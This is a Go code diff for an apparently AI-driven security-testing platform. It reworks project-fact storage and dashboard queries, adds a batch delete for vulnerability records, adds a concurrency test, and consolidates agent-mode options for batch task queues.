@@ -360,12 +375,12 @@ func (db *DB) UpsertProjectFact(f *ProjectFact) (*ProjectFact, error) {
|
|||||||
_, err = db.Exec(
|
_, err = db.Exec(
|
||||||
`INSERT INTO project_facts (
|
`INSERT INTO project_facts (
|
||||||
id, project_id, fact_key, category, summary, body, confidence,
|
id, project_id, fact_key, category, summary, body, confidence,
|
||||||
source_conversation_id, source_message_id, pinned, supersedes_fact_id, related_vulnerability_id,
|
source_conversation_id, source_message_id, pinned, related_vulnerability_id,
|
||||||
created_at, updated_at
|
created_at, updated_at
|
||||||
) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)`,
|
) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)`,
|
||||||
f.ID, f.ProjectID, f.FactKey, f.Category, f.Summary, f.Body, f.Confidence,
|
f.ID, f.ProjectID, f.FactKey, f.Category, f.Summary, f.Body, f.Confidence,
|
||||||
nullIfEmpty(f.SourceConversationID), nullIfEmpty(f.SourceMessageID), boolToInt(f.Pinned),
|
nullIfEmpty(f.SourceConversationID), nullIfEmpty(f.SourceMessageID), boolToInt(f.Pinned),
|
||||||
nullIfEmpty(f.SupersedesFactID), nullIfEmpty(f.RelatedVulnerabilityID),
|
nullIfEmpty(f.RelatedVulnerabilityID),
|
||||||
f.CreatedAt, f.UpdatedAt,
|
f.CreatedAt, f.UpdatedAt,
|
||||||
)
|
)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
@@ -440,7 +455,7 @@ func scanProjectFactRow(row *sql.Row) (*ProjectFact, error) {
|
|||||||
err := row.Scan(
|
err := row.Scan(
|
||||||
&f.ID, &f.ProjectID, &f.FactKey, &f.Category, &f.Summary, &f.Body, &f.Confidence,
|
&f.ID, &f.ProjectID, &f.FactKey, &f.Category, &f.Summary, &f.Body, &f.Confidence,
|
||||||
&f.SourceConversationID, &f.SourceMessageID, &pinned,
|
&f.SourceConversationID, &f.SourceMessageID, &pinned,
|
||||||
&f.SupersedesFactID, &f.RelatedVulnerabilityID, &createdAt, &updatedAt,
|
&f.RelatedVulnerabilityID, &createdAt, &updatedAt,
|
||||||
)
|
)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
if err == sql.ErrNoRows {
|
if err == sql.ErrNoRows {
|
||||||
@@ -461,7 +476,7 @@ func scanProjectFactFromRows(rows *sql.Rows) (*ProjectFact, error) {
|
|||||||
err := rows.Scan(
|
err := rows.Scan(
|
||||||
&f.ID, &f.ProjectID, &f.FactKey, &f.Category, &f.Summary, &f.Body, &f.Confidence,
|
&f.ID, &f.ProjectID, &f.FactKey, &f.Category, &f.Summary, &f.Body, &f.Confidence,
|
||||||
&f.SourceConversationID, &f.SourceMessageID, &pinned,
|
&f.SourceConversationID, &f.SourceMessageID, &pinned,
|
||||||
&f.SupersedesFactID, &f.RelatedVulnerabilityID, &createdAt, &updatedAt,
|
&f.RelatedVulnerabilityID, &createdAt, &updatedAt,
|
||||||
)
|
)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return nil, err
|
return nil, err
|
||||||
|
|||||||
@@ -0,0 +1,91 @@
|
|||||||
|
package database
|
||||||
|
|
||||||
|
import (
|
||||||
|
"fmt"
|
||||||
|
"strings"
|
||||||
|
"time"
|
||||||
|
)
|
||||||
|
|
||||||
|
// ProjectDashboardFact 仪表盘跨项目近期事实条目。
|
||||||
|
type ProjectDashboardFact struct {
|
||||||
|
ID string `json:"id"`
|
||||||
|
ProjectID string `json:"project_id"`
|
||||||
|
ProjectName string `json:"project_name"`
|
||||||
|
FactKey string `json:"fact_key"`
|
||||||
|
Category string `json:"category"`
|
||||||
|
Summary string `json:"summary"`
|
||||||
|
Confidence string `json:"confidence"`
|
||||||
|
Pinned bool `json:"pinned"`
|
||||||
|
UpdatedAt time.Time `json:"updated_at"`
|
||||||
|
}
|
||||||
|
|
||||||
|
// ProjectDashboardTotals 仪表盘项目事实汇总计数。
|
||||||
|
type ProjectDashboardTotals struct {
|
||||||
|
ActiveProjects int `json:"active_projects"`
|
||||||
|
TotalFacts int `json:"total_facts"`
|
||||||
|
}
|
||||||
|
|
||||||
|
// ProjectDashboardSummary 仪表盘项目情报摘要。
|
||||||
|
type ProjectDashboardSummary struct {
|
||||||
|
RecentFacts []ProjectDashboardFact `json:"recent_facts"`
|
||||||
|
Totals ProjectDashboardTotals `json:"totals"`
|
||||||
|
}
|
||||||
|
|
||||||
|
// GetProjectDashboardSummary 聚合跨项目近期事实(仅活跃项目、排除 deprecated)。
|
||||||
|
func (db *DB) GetProjectDashboardSummary(factLimit int) (*ProjectDashboardSummary, error) {
|
||||||
|
if factLimit <= 0 {
|
||||||
|
factLimit = 5
|
||||||
|
}
|
||||||
|
if factLimit > 50 {
|
||||||
|
factLimit = 50
|
||||||
|
}
|
||||||
|
|
||||||
|
out := &ProjectDashboardSummary{
|
||||||
|
RecentFacts: []ProjectDashboardFact{},
|
||||||
|
}
|
||||||
|
|
||||||
|
if err := db.QueryRow(`SELECT COUNT(*) FROM projects WHERE status = 'active'`).Scan(&out.Totals.ActiveProjects); err != nil {
|
||||||
|
return nil, fmt.Errorf("统计活跃项目失败: %w", err)
|
||||||
|
}
|
||||||
|
if err := db.QueryRow(
|
||||||
|
`SELECT COUNT(*) FROM project_facts f
|
||||||
|
INNER JOIN projects p ON p.id = f.project_id
|
||||||
|
WHERE f.confidence != 'deprecated' AND p.status = 'active'`,
|
||||||
|
).Scan(&out.Totals.TotalFacts); err != nil {
|
||||||
|
return nil, fmt.Errorf("统计事实失败: %w", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
rows, err := db.Query(
|
||||||
|
`SELECT f.id, f.project_id, p.name, f.fact_key, f.category, f.summary, f.confidence, f.pinned, f.updated_at
|
||||||
|
FROM project_facts f
|
||||||
|
INNER JOIN projects p ON p.id = f.project_id
|
||||||
|
WHERE f.confidence != 'deprecated' AND p.status = 'active'
|
||||||
|
ORDER BY f.pinned DESC, f.updated_at DESC
|
||||||
|
LIMIT ?`,
|
||||||
|
factLimit,
|
||||||
|
)
|
||||||
|
if err != nil {
|
||||||
|
return nil, fmt.Errorf("查询近期事实失败: %w", err)
|
||||||
|
}
|
||||||
|
defer rows.Close()
|
||||||
|
|
||||||
|
for rows.Next() {
|
||||||
|
var item ProjectDashboardFact
|
||||||
|
var pinned int
|
||||||
|
var updatedAt string
|
||||||
|
if err := rows.Scan(
|
||||||
|
&item.ID, &item.ProjectID, &item.ProjectName, &item.FactKey,
|
||||||
|
&item.Category, &item.Summary, &item.Confidence, &pinned, &updatedAt,
|
||||||
|
); err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
item.Pinned = pinned != 0
|
||||||
|
item.ProjectName = strings.TrimSpace(item.ProjectName)
|
||||||
|
item.UpdatedAt = parseDBTime(updatedAt)
|
||||||
|
out.RecentFacts = append(out.RecentFacts, item)
|
||||||
|
}
|
||||||
|
if err := rows.Err(); err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
return out, nil
|
||||||
|
}
|
||||||
@@ -135,54 +135,6 @@ func TestRestoreProjectFact(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestUpsertProjectFact_createsVersionOnContentChange(t *testing.T) {
|
|
||||||
dbPath := filepath.Join(t.TempDir(), "facts.db")
|
|
||||||
db, err := NewDB(dbPath, zap.NewNop())
|
|
||||||
if err != nil {
|
|
||||||
t.Fatal(err)
|
|
||||||
}
|
|
||||||
defer db.Close()
|
|
||||||
|
|
||||||
proj, err := db.CreateProject(&Project{Name: "version-test"})
|
|
||||||
if err != nil {
|
|
||||||
t.Fatal(err)
|
|
||||||
}
|
|
||||||
|
|
||||||
created, err := db.UpsertProjectFact(&ProjectFact{
|
|
||||||
ProjectID: proj.ID,
|
|
||||||
FactKey: "finding/xss",
|
|
||||||
Category: "finding",
|
|
||||||
Summary: "v1",
|
|
||||||
Body: "body v1",
|
|
||||||
})
|
|
||||||
if err != nil {
|
|
||||||
t.Fatal(err)
|
|
||||||
}
|
|
||||||
if created.SupersedesFactID != "" {
|
|
||||||
t.Fatalf("expected no supersedes on create, got %q", created.SupersedesFactID)
|
|
||||||
}
|
|
||||||
|
|
||||||
updated, err := db.UpsertProjectFact(&ProjectFact{
|
|
||||||
ProjectID: proj.ID,
|
|
||||||
FactKey: "finding/xss",
|
|
||||||
Summary: "v2",
|
|
||||||
Body: "body v2",
|
|
||||||
})
|
|
||||||
if err != nil {
|
|
||||||
t.Fatal(err)
|
|
||||||
}
|
|
||||||
if updated.SupersedesFactID == "" {
|
|
||||||
t.Fatal("expected supersedes_fact_id after content change")
|
|
||||||
}
|
|
||||||
prev, err := db.GetProjectFactVersion(updated.SupersedesFactID)
|
|
||||||
if err != nil {
|
|
||||||
t.Fatal(err)
|
|
||||||
}
|
|
||||||
if prev.Summary != "v1" || prev.Body != "body v1" {
|
|
||||||
t.Fatalf("previous version mismatch: summary=%q body=%q", prev.Summary, prev.Body)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestMergeFactBodyOnUpdate(t *testing.T) {
|
func TestMergeFactBodyOnUpdate(t *testing.T) {
|
||||||
if got := mergeFactBodyOnUpdate("", "keep"); got != "keep" {
|
if got := mergeFactBodyOnUpdate("", "keep"); got != "keep" {
|
||||||
t.Fatalf("empty incoming: got %q", got)
|
t.Fatalf("empty incoming: got %q", got)
|
||||||
|
|||||||
@@ -1,144 +0,0 @@
|
|||||||
package database
|
|
||||||
|
|
||||||
import (
|
|
||||||
"database/sql"
|
|
||||||
"fmt"
|
|
||||||
"strings"
|
|
||||||
"time"
|
|
||||||
|
|
||||||
"github.com/google/uuid"
|
|
||||||
)
|
|
||||||
|
|
||||||
// ProjectFactVersion 事实历史快照(同 fact_key 更新前归档)。
|
|
||||||
type ProjectFactVersion struct {
|
|
||||||
ID string `json:"id"`
|
|
||||||
FactID string `json:"fact_id"`
|
|
||||||
ProjectID string `json:"project_id"`
|
|
||||||
FactKey string `json:"fact_key"`
|
|
||||||
Category string `json:"category"`
|
|
||||||
Summary string `json:"summary"`
|
|
||||||
Body string `json:"body"`
|
|
||||||
Confidence string `json:"confidence"`
|
|
||||||
SourceConversationID string `json:"source_conversation_id,omitempty"`
|
|
||||||
SourceMessageID string `json:"source_message_id,omitempty"`
|
|
||||||
Pinned bool `json:"pinned"`
|
|
||||||
RelatedVulnerabilityID string `json:"related_vulnerability_id,omitempty"`
|
|
||||||
ArchivedAt time.Time `json:"archived_at"`
|
|
||||||
}
|
|
||||||
|
|
||||||
// InsertProjectFactVersion 将当前事实行快照写入版本表。
|
|
||||||
func (db *DB) InsertProjectFactVersion(f *ProjectFact) (string, error) {
|
|
||||||
if f == nil || f.ID == "" {
|
|
||||||
return "", fmt.Errorf("无效的事实记录")
|
|
||||||
}
|
|
||||||
id := uuid.New().String()
|
|
||||||
now := time.Now()
|
|
||||||
_, err := db.Exec(
|
|
||||||
`INSERT INTO project_fact_versions (
|
|
||||||
id, fact_id, project_id, fact_key, category, summary, body, confidence,
|
|
||||||
source_conversation_id, source_message_id, pinned, related_vulnerability_id, archived_at
|
|
||||||
) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)`,
|
|
||||||
id, f.ID, f.ProjectID, f.FactKey, f.Category, f.Summary, f.Body, f.Confidence,
|
|
||||||
nullIfEmpty(f.SourceConversationID), nullIfEmpty(f.SourceMessageID), boolToInt(f.Pinned),
|
|
||||||
nullIfEmpty(f.RelatedVulnerabilityID), now,
|
|
||||||
)
|
|
||||||
if err != nil {
|
|
||||||
return "", fmt.Errorf("归档事实版本失败: %w", err)
|
|
||||||
}
|
|
||||||
return id, nil
|
|
||||||
}
|
|
||||||
|
|
||||||
// GetProjectFactVersion 按版本 ID 获取快照。
|
|
||||||
func (db *DB) GetProjectFactVersion(versionID string) (*ProjectFactVersion, error) {
|
|
||||||
row := db.QueryRow(
|
|
||||||
`SELECT id, fact_id, project_id, fact_key, category, summary, COALESCE(body,''), confidence,
|
|
||||||
COALESCE(source_conversation_id,''), COALESCE(source_message_id,''), pinned,
|
|
||||||
COALESCE(related_vulnerability_id,''), archived_at
|
|
||||||
FROM project_fact_versions WHERE id = ?`, versionID,
|
|
||||||
)
|
|
||||||
return scanProjectFactVersionRow(row)
|
|
||||||
}
|
|
||||||
|
|
||||||
// ListProjectFactVersions 列出某条事实的全部历史版本(新→旧)。
|
|
||||||
func (db *DB) ListProjectFactVersions(factID string, limit int) ([]*ProjectFactVersion, error) {
|
|
||||||
if limit <= 0 {
|
|
||||||
limit = 20
|
|
||||||
}
|
|
||||||
rows, err := db.Query(
|
|
||||||
`SELECT id, fact_id, project_id, fact_key, category, summary, COALESCE(body,''), confidence,
|
|
||||||
COALESCE(source_conversation_id,''), COALESCE(source_message_id,''), pinned,
|
|
||||||
COALESCE(related_vulnerability_id,''), archived_at
|
|
||||||
FROM project_fact_versions WHERE fact_id = ? ORDER BY archived_at DESC LIMIT ?`,
|
|
||||||
factID, limit,
|
|
||||||
)
|
|
||||||
if err != nil {
|
|
||||||
return nil, err
|
|
||||||
}
|
|
||||||
defer rows.Close()
|
|
||||||
var out []*ProjectFactVersion
|
|
||||||
for rows.Next() {
|
|
||||||
v, err := scanProjectFactVersionFromRows(rows)
|
|
||||||
if err != nil {
|
|
||||||
return nil, err
|
|
||||||
}
|
|
||||||
out = append(out, v)
|
|
||||||
}
|
|
||||||
return out, rows.Err()
|
|
||||||
}
|
|
||||||
|
|
||||||
func projectFactContentChanged(existing, incoming *ProjectFact) bool {
|
|
||||||
if existing == nil || incoming == nil {
|
|
||||||
return false
|
|
||||||
}
|
|
||||||
mergedBody := mergeFactBodyOnUpdate(incoming.Body, existing.Body)
|
|
||||||
inCat := stringsTrimDefault(incoming.Category, existing.Category)
|
|
||||||
inConf := stringsTrimDefault(incoming.Confidence, existing.Confidence)
|
|
||||||
return existing.Summary != incoming.Summary ||
|
|
||||||
existing.Body != mergedBody ||
|
|
||||||
existing.Category != inCat ||
|
|
||||||
existing.Confidence != inConf
|
|
||||||
}
|
|
||||||
|
|
||||||
func stringsTrimDefault(s, fallback string) string {
|
|
||||||
if strings.TrimSpace(s) == "" {
|
|
||||||
return fallback
|
|
||||||
}
|
|
||||||
return strings.TrimSpace(s)
|
|
||||||
}
|
|
||||||
|
|
||||||
func scanProjectFactVersionRow(row *sql.Row) (*ProjectFactVersion, error) {
|
|
||||||
var v ProjectFactVersion
|
|
||||||
var pinned int
|
|
||||||
var archivedAt string
|
|
||||||
err := row.Scan(
|
|
||||||
&v.ID, &v.FactID, &v.ProjectID, &v.FactKey, &v.Category, &v.Summary, &v.Body, &v.Confidence,
|
|
||||||
&v.SourceConversationID, &v.SourceMessageID, &pinned,
|
|
||||||
&v.RelatedVulnerabilityID, &archivedAt,
|
|
||||||
)
|
|
||||||
if err != nil {
|
|
||||||
if err == sql.ErrNoRows {
|
|
||||||
return nil, fmt.Errorf("事实版本不存在")
|
|
||||||
}
|
|
||||||
return nil, err
|
|
||||||
}
|
|
||||||
v.Pinned = pinned != 0
|
|
||||||
v.ArchivedAt = parseDBTime(archivedAt)
|
|
||||||
return &v, nil
|
|
||||||
}
|
|
||||||
|
|
||||||
func scanProjectFactVersionFromRows(rows *sql.Rows) (*ProjectFactVersion, error) {
|
|
||||||
var v ProjectFactVersion
|
|
||||||
var pinned int
|
|
||||||
var archivedAt string
|
|
||||||
err := rows.Scan(
|
|
||||||
&v.ID, &v.FactID, &v.ProjectID, &v.FactKey, &v.Category, &v.Summary, &v.Body, &v.Confidence,
|
|
||||||
&v.SourceConversationID, &v.SourceMessageID, &pinned,
|
|
||||||
&v.RelatedVulnerabilityID, &archivedAt,
|
|
||||||
)
|
|
||||||
if err != nil {
|
|
||||||
return nil, err
|
|
||||||
}
|
|
||||||
v.Pinned = pinned != 0
|
|
||||||
v.ArchivedAt = parseDBTime(archivedAt)
|
|
||||||
return &v, nil
|
|
||||||
}
|
|
||||||
@@ -37,7 +37,7 @@ func TestListProjectFacts_updatedAtJSON(t *testing.T) {
|
|||||||
if err != nil {
|
if err != nil {
|
||||||
t.Fatal(err)
|
t.Fatal(err)
|
||||||
}
|
}
|
||||||
projects, err := db.ListProjects("", 1, 0)
|
projects, err := db.ListProjects("", "", 1, 0)
|
||||||
if err != nil || len(projects) == 0 {
|
if err != nil || len(projects) == 0 {
|
||||||
t.Skip("no projects")
|
t.Skip("no projects")
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -263,6 +263,39 @@ func (db *DB) UpdateVulnerability(id string, vuln *Vulnerability) error {
|
|||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// DeleteVulnerabilitiesByFilter 按筛选条件批量删除漏洞,返回实际删除条数
|
||||||
|
func (db *DB) DeleteVulnerabilitiesByFilter(filter VulnerabilityListFilter) (int64, error) {
|
||||||
|
tx, err := db.Begin()
|
||||||
|
if err != nil {
|
||||||
|
return 0, fmt.Errorf("开启事务失败: %w", err)
|
||||||
|
}
|
||||||
|
defer func() { _ = tx.Rollback() }()
|
||||||
|
|
||||||
|
where := "WHERE 1=1"
|
||||||
|
args := []interface{}{}
|
||||||
|
where, args = filter.appendWhere(where, args)
|
||||||
|
|
||||||
|
clearQuery := `UPDATE project_facts SET related_vulnerability_id = NULL
|
||||||
|
WHERE related_vulnerability_id IN (SELECT id FROM vulnerabilities ` + where + `)`
|
||||||
|
if _, err := tx.Exec(clearQuery, args...); err != nil {
|
||||||
|
return 0, fmt.Errorf("清理事实漏洞关联失败: %w", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
deleteQuery := `DELETE FROM vulnerabilities ` + where
|
||||||
|
result, err := tx.Exec(deleteQuery, args...)
|
||||||
|
if err != nil {
|
||||||
|
return 0, fmt.Errorf("批量删除漏洞失败: %w", err)
|
||||||
|
}
|
||||||
|
deleted, err := result.RowsAffected()
|
||||||
|
if err != nil {
|
||||||
|
return 0, fmt.Errorf("获取删除条数失败: %w", err)
|
||||||
|
}
|
||||||
|
if err := tx.Commit(); err != nil {
|
||||||
|
return 0, fmt.Errorf("提交事务失败: %w", err)
|
||||||
|
}
|
||||||
|
return deleted, nil
|
||||||
|
}
|
||||||
|
|
||||||
// DeleteVulnerability 删除漏洞
|
// DeleteVulnerability 删除漏洞
|
||||||
func (db *DB) DeleteVulnerability(id string) error {
|
func (db *DB) DeleteVulnerability(id string) error {
|
||||||
tx, err := db.Begin()
|
tx, err := db.Begin()
|
||||||
|
|||||||
+143
-836
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,48 @@
|
|||||||
|
package handler
|
||||||
|
|
||||||
|
import (
|
||||||
|
"context"
|
||||||
|
"fmt"
|
||||||
|
"sync"
|
||||||
|
"testing"
|
||||||
|
|
||||||
|
"cyberstrike-ai/internal/config"
|
||||||
|
|
||||||
|
"go.uber.org/zap"
|
||||||
|
)
|
||||||
|
|
||||||
|
// TestCreateProgressCallback_ConcurrentToolEvents 回归 issue #142:并行 tool 回调不得 concurrent map panic。
|
||||||
|
func TestCreateProgressCallback_ConcurrentToolEvents(t *testing.T) {
|
||||||
|
logger := zap.NewNop()
|
||||||
|
h := &AgentHandler{
|
||||||
|
logger: logger,
|
||||||
|
config: &config.Config{},
|
||||||
|
}
|
||||||
|
cb := h.createProgressCallback(context.Background(), nil, "conv-race-test", "", nil)
|
||||||
|
|
||||||
|
const workers = 64
|
||||||
|
var wg sync.WaitGroup
|
||||||
|
wg.Add(workers * 2)
|
||||||
|
for i := 0; i < workers; i++ {
|
||||||
|
i := i
|
||||||
|
go func() {
|
||||||
|
defer wg.Done()
|
||||||
|
toolCallID := fmt.Sprintf("tc-%d", i)
|
||||||
|
cb("tool_call", "calling skill", map[string]interface{}{
|
||||||
|
"toolCallId": toolCallID,
|
||||||
|
"toolName": "skill",
|
||||||
|
"argumentsObj": map[string]interface{}{"skill_name": "demo-skill"},
|
||||||
|
})
|
||||||
|
}()
|
||||||
|
go func() {
|
||||||
|
defer wg.Done()
|
||||||
|
toolCallID := fmt.Sprintf("tc-%d", i)
|
||||||
|
cb("tool_result", "skill done", map[string]interface{}{
|
||||||
|
"toolCallId": toolCallID,
|
||||||
|
"toolName": "skill",
|
||||||
|
"success": true,
|
||||||
|
})
|
||||||
|
}()
|
||||||
|
}
|
||||||
|
wg.Wait()
|
||||||
|
}
|
||||||
@@ -11,6 +11,7 @@ import (
|
|||||||
"time"
|
"time"
|
||||||
"unicode/utf8"
|
"unicode/utf8"
|
||||||
|
|
||||||
|
"cyberstrike-ai/internal/config"
|
||||||
"cyberstrike-ai/internal/database"
|
"cyberstrike-ai/internal/database"
|
||||||
|
|
||||||
"go.uber.org/zap"
|
"go.uber.org/zap"
|
||||||
@@ -128,7 +129,7 @@ func (m *BatchTaskManager) CreateBatchQueue(
|
|||||||
Title: title,
|
Title: title,
|
||||||
Role: role,
|
Role: role,
|
||||||
ProjectID: strings.TrimSpace(projectID),
|
ProjectID: strings.TrimSpace(projectID),
|
||||||
AgentMode: normalizeBatchQueueAgentMode(agentMode),
|
AgentMode: config.NormalizeAgentMode(agentMode),
|
||||||
ScheduleMode: normalizeBatchQueueScheduleMode(scheduleMode),
|
ScheduleMode: normalizeBatchQueueScheduleMode(scheduleMode),
|
||||||
CronExpr: strings.TrimSpace(cronExpr),
|
CronExpr: strings.TrimSpace(cronExpr),
|
||||||
NextRunAt: nextRunAt,
|
NextRunAt: nextRunAt,
|
||||||
@@ -225,7 +226,7 @@ func (m *BatchTaskManager) loadQueueFromDB(queueID string) *BatchTaskQueue {
|
|||||||
|
|
||||||
queue := &BatchTaskQueue{
|
queue := &BatchTaskQueue{
|
||||||
ID: queueRow.ID,
|
ID: queueRow.ID,
|
||||||
AgentMode: "single",
|
AgentMode: "eino_single",
|
||||||
ScheduleMode: "manual",
|
ScheduleMode: "manual",
|
||||||
Status: queueRow.Status,
|
Status: queueRow.Status,
|
||||||
CreatedAt: queueRow.CreatedAt,
|
CreatedAt: queueRow.CreatedAt,
|
||||||
@@ -240,7 +241,7 @@ func (m *BatchTaskManager) loadQueueFromDB(queueID string) *BatchTaskQueue {
|
|||||||
queue.Role = queueRow.Role.String
|
queue.Role = queueRow.Role.String
|
||||||
}
|
}
|
||||||
if queueRow.AgentMode.Valid {
|
if queueRow.AgentMode.Valid {
|
||||||
queue.AgentMode = normalizeBatchQueueAgentMode(queueRow.AgentMode.String)
|
queue.AgentMode = config.NormalizeAgentMode(queueRow.AgentMode.String)
|
||||||
}
|
}
|
||||||
if queueRow.ScheduleMode.Valid {
|
if queueRow.ScheduleMode.Valid {
|
||||||
queue.ScheduleMode = normalizeBatchQueueScheduleMode(queueRow.ScheduleMode.String)
|
queue.ScheduleMode = normalizeBatchQueueScheduleMode(queueRow.ScheduleMode.String)
|
||||||
@@ -464,7 +465,7 @@ func (m *BatchTaskManager) LoadFromDB() error {
|
|||||||
|
|
||||||
queue := &BatchTaskQueue{
|
queue := &BatchTaskQueue{
|
||||||
ID: queueRow.ID,
|
ID: queueRow.ID,
|
||||||
AgentMode: "single",
|
AgentMode: "eino_single",
|
||||||
ScheduleMode: "manual",
|
ScheduleMode: "manual",
|
||||||
Status: queueRow.Status,
|
Status: queueRow.Status,
|
||||||
CreatedAt: queueRow.CreatedAt,
|
CreatedAt: queueRow.CreatedAt,
|
||||||
@@ -479,7 +480,7 @@ func (m *BatchTaskManager) LoadFromDB() error {
|
|||||||
queue.Role = queueRow.Role.String
|
queue.Role = queueRow.Role.String
|
||||||
}
|
}
|
||||||
if queueRow.AgentMode.Valid {
|
if queueRow.AgentMode.Valid {
|
||||||
queue.AgentMode = normalizeBatchQueueAgentMode(queueRow.AgentMode.String)
|
queue.AgentMode = config.NormalizeAgentMode(queueRow.AgentMode.String)
|
||||||
}
|
}
|
||||||
if queueRow.ScheduleMode.Valid {
|
if queueRow.ScheduleMode.Valid {
|
||||||
queue.ScheduleMode = normalizeBatchQueueScheduleMode(queueRow.ScheduleMode.String)
|
queue.ScheduleMode = normalizeBatchQueueScheduleMode(queueRow.ScheduleMode.String)
|
||||||
@@ -669,7 +670,7 @@ func (m *BatchTaskManager) UpdateQueueMetadata(queueID, title, role, agentMode s
|
|||||||
|
|
||||||
// 如果未传 agentMode,保留原值
|
// 如果未传 agentMode,保留原值
|
||||||
if strings.TrimSpace(agentMode) != "" {
|
if strings.TrimSpace(agentMode) != "" {
|
||||||
agentMode = normalizeBatchQueueAgentMode(agentMode)
|
agentMode = config.NormalizeAgentMode(agentMode)
|
||||||
} else {
|
} else {
|
||||||
agentMode = queue.AgentMode
|
agentMode = queue.AgentMode
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -8,6 +8,7 @@ import (
|
|||||||
"strings"
|
"strings"
|
||||||
"time"
|
"time"
|
||||||
|
|
||||||
|
"cyberstrike-ai/internal/config"
|
||||||
"cyberstrike-ai/internal/mcp"
|
"cyberstrike-ai/internal/mcp"
|
||||||
"cyberstrike-ai/internal/mcp/builtin"
|
"cyberstrike-ai/internal/mcp/builtin"
|
||||||
|
|
||||||
@@ -134,7 +135,7 @@ func RegisterBatchTaskMCPTools(mcpServer *mcp.Server, h *AgentHandler, logger *z
|
|||||||
|
|
||||||
【何时用】用户明确要批量排队执行、Cron 周期跑同一批指令、或需要与任务管理页面对齐时调用。需要即时追问、强依赖当前对话上下文的分析/编码,应在本对话内直接完成,不要为了”委派”而创建队列。
|
【何时用】用户明确要批量排队执行、Cron 周期跑同一批指令、或需要与任务管理页面对齐时调用。需要即时追问、强依赖当前对话上下文的分析/编码,应在本对话内直接完成,不要为了”委派”而创建队列。
|
||||||
|
|
||||||
【参数】tasks(字符串数组)或 tasks_text(多行,每行一条)二选一;每项是一条将来由系统按队列顺序执行的指令文案。agent_mode:single(原生 ReAct,默认)、eino_single(Eino ADK 单代理)、deep / plan_execute / supervisor(需系统启用多代理);兼容旧值 multi(视为 deep)。非”把主对话拆给子代理”。schedule_mode:manual(默认)或 cron;cron 须填 cron_expr(5 段,如 “0 */6 * * *”)。
|
【参数】tasks(字符串数组)或 tasks_text(多行,每行一条)二选一;每项是一条将来由系统按队列顺序执行的指令文案。agent_mode:eino_single(Eino ADK 单代理,默认)、deep / plan_execute / supervisor(需系统启用多代理)。非”把主对话拆给子代理”。schedule_mode:manual(默认)或 cron;cron 须填 cron_expr(5 段,如 “0 */6 * * *”)。
|
||||||
|
|
||||||
【执行】默认创建后为 pending,不自动跑。execute_now=true 可创建后立即跑;否则之后调用 batch_task_start。Cron 自动下一轮需 schedule_enabled 为 true(可用 batch_task_schedule_enabled)。`,
|
【执行】默认创建后为 pending,不自动跑。execute_now=true 可创建后立即跑;否则之后调用 batch_task_start。Cron 自动下一轮需 schedule_enabled 为 true(可用 batch_task_schedule_enabled)。`,
|
||||||
ShortDescription: "任务管理:创建批量任务队列(登记多条指令,可选立即或 Cron)",
|
ShortDescription: "任务管理:创建批量任务队列(登记多条指令,可选立即或 Cron)",
|
||||||
@@ -160,8 +161,8 @@ func RegisterBatchTaskMCPTools(mcpServer *mcp.Server, h *AgentHandler, logger *z
|
|||||||
},
|
},
|
||||||
"agent_mode": map[string]interface{}{
|
"agent_mode": map[string]interface{}{
|
||||||
"type": "string",
|
"type": "string",
|
||||||
"description": "执行模式:single(原生 ReAct)、eino_single(Eino ADK)、deep/plan_execute/supervisor(Eino 编排,需启用多代理);multi 兼容为 deep",
|
"description": "执行模式:eino_single(Eino ADK,默认)、deep/plan_execute/supervisor(Eino 编排,需启用多代理)",
|
||||||
"enum": []string{"single", "eino_single", "deep", "plan_execute", "supervisor", "multi"},
|
"enum": []string{"eino_single", "deep", "plan_execute", "supervisor"},
|
||||||
},
|
},
|
||||||
"schedule_mode": map[string]interface{}{
|
"schedule_mode": map[string]interface{}{
|
||||||
"type": "string",
|
"type": "string",
|
||||||
@@ -189,7 +190,7 @@ func RegisterBatchTaskMCPTools(mcpServer *mcp.Server, h *AgentHandler, logger *z
|
|||||||
}
|
}
|
||||||
title := mcpArgString(args, "title")
|
title := mcpArgString(args, "title")
|
||||||
role := mcpArgString(args, "role")
|
role := mcpArgString(args, "role")
|
||||||
agentMode := normalizeBatchQueueAgentMode(mcpArgString(args, "agent_mode"))
|
agentMode := config.NormalizeAgentMode(mcpArgString(args, "agent_mode"))
|
||||||
scheduleMode := normalizeBatchQueueScheduleMode(mcpArgString(args, "schedule_mode"))
|
scheduleMode := normalizeBatchQueueScheduleMode(mcpArgString(args, "schedule_mode"))
|
||||||
cronExpr := strings.TrimSpace(mcpArgString(args, "cron_expr"))
|
cronExpr := strings.TrimSpace(mcpArgString(args, "cron_expr"))
|
||||||
var nextRunAt *time.Time
|
var nextRunAt *time.Time
|
||||||
@@ -393,8 +394,8 @@ func RegisterBatchTaskMCPTools(mcpServer *mcp.Server, h *AgentHandler, logger *z
|
|||||||
},
|
},
|
||||||
"agent_mode": map[string]interface{}{
|
"agent_mode": map[string]interface{}{
|
||||||
"type": "string",
|
"type": "string",
|
||||||
"description": "代理模式:single、eino_single、deep、plan_execute、supervisor;multi 视为 deep",
|
"description": "代理模式:eino_single、deep、plan_execute、supervisor",
|
||||||
"enum": []string{"single", "eino_single", "deep", "plan_execute", "supervisor", "multi"},
|
"enum": []string{"eino_single", "deep", "plan_execute", "supervisor"},
|
||||||
},
|
},
|
||||||
},
|
},
|
||||||
"required": []string{"queue_id"},
|
"required": []string{"queue_id"},
|
||||||
|
|||||||
+145
-1
@@ -237,6 +237,7 @@ func (h *ConfigHandler) ApplyWechatRobotBinding(wc config.RobotWechatConfig) err
|
|||||||
// GetConfigResponse 获取配置响应
|
// GetConfigResponse 获取配置响应
|
